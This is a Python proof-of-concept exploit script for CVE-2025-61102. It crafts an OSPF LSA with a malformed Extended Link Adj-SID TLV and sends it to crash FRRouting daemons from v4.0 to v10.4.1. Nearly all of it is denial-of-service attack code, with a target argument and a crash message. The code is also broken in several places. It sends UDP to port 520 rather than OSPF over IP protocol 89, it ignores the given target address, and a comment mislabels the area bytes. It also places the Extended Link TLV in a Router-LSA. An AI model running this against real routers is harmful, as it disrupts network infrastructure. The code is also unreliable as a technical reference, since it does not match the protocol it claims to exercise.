# CVE-2025-61102 PoC - FRRouting NULL Pointer Dereference in OSPF Extended Adj-SID
# This PoC demonstrates sending a crafted OSPF LSA with malicious Extended Link Adj-SID
# Target: FRRouting frr v4.0 - v10.4.1
import socket
import struct
import sys
def build_crafted_ospf_lsa():
"""Construct a malicious OSPF LSA with crafted Extended Adj-SID"""
# OSPF Header
version = 2 # OSPFv2
msg_type = 4 # LSA Update
packet_length = 0 # Will be calculated
router_id = b'\xc0\xa8\x01\x01' # Attacker router ID
area_id = b'\xc0\xa8\x01\x00' # Area 0.0.0.0
checksum = 0
auth_type = 0
auth = b'\x00' * 8
ospf_header = struct.pack('!BBH4s4sHH',
version, msg_type, 0,
router_id, area_id,
checksum, auth_type) + auth
# Number of LSAs
num_lsas = 1
# Router LSA (Type 1) with crafted Extended Link
lsa_age = 1
lsa_type = 1 # Router-LSA
link_state_id = router_id
advertising_router = router_id
lsa_sequence = 0x80000001
lsa_checksum = 0
length = 0 # Will be calculated
# LSA header
lsa_header = struct.pack('!HH4s4sIHH',
lsa_age, lsa_type,
link_state_id, advertising_router,
lsa_sequence, lsa_checksum, length)
# Router LSA body - Flags and options
flags = 0
options = 0x22
lsa_body = struct.pack('!BB', flags, options)
# Crafted link that triggers NULL dereference in show_vty_ext_link_adj_sid
# Link type: 2 (Transit network)
link_type = 2
link_id = b'\xc0\xa8\x02\x01' # Designated Router IP
link_data = b'\xff\xff\xff\x00' # Subnet mask
tos_count = 0
metric = 100
link = struct.pack('!B4s4sBBH',
link_type, link_id, link_data,
tos_count, metric, 0) # Last 0 is for TLV count
# Extended Link TLV with NULL pointer trigger
# TLV type for Extended Link: 2
# This malformed TLV causes NULL pointer in show_vty_ext_link_adj_sid
ext_link_tlv_type = 2
ext_link_tlv_length = 4
ext_link_tlv_value = b'\x00' * 4 # Malformed value
ext_link_tlv = struct.pack('!HH', ext_link_tlv_type, ext_link_tlv_length) + ext_link_tlv_value
# Complete LSA
lsa = lsa_header + lsa_body + link + ext_link_tlv
# Update lengths
lsa = lsa[:16] + struct.pack('!H', len(lsa)) + lsa[18:]
# OSPF Header update
ospf_header = ospf_header[:2] + struct.pack('!H', len(ospf_header) + 4 + len(lsa)) + ospf_header[4:]
return ospf_header + struct.pack('!I', num_lsas) + lsa
def send_crafted_packet(target_ip, router_id):
"""Send the crafted OSPF packet to target"""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_IP, socket.IP_MULTICAST_TTL, 2)
payload = build_crafted_ospf_lsa()
# OSPF multicast address
multicast_addr = '224.0.0.5' # AllSPFRouters
print(f"[*] Sending crafted OSPF LSA to {target_ip}")
print(f"[*] Target: FRRouting frr v4.0 - v10.4.1")
print(f"[*] Payload size: {len(payload)} bytes")
sock.sendto(payload, (multicast_addr, 520))
sock.close()
print("[+] Packet sent successfully")
print("[*] Target should crash due to NULL pointer dereference")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python cve-2025-61102-poc.py <target_ip>")
sys.exit(1)
target = sys.argv[1]
send_crafted_packet(target, None)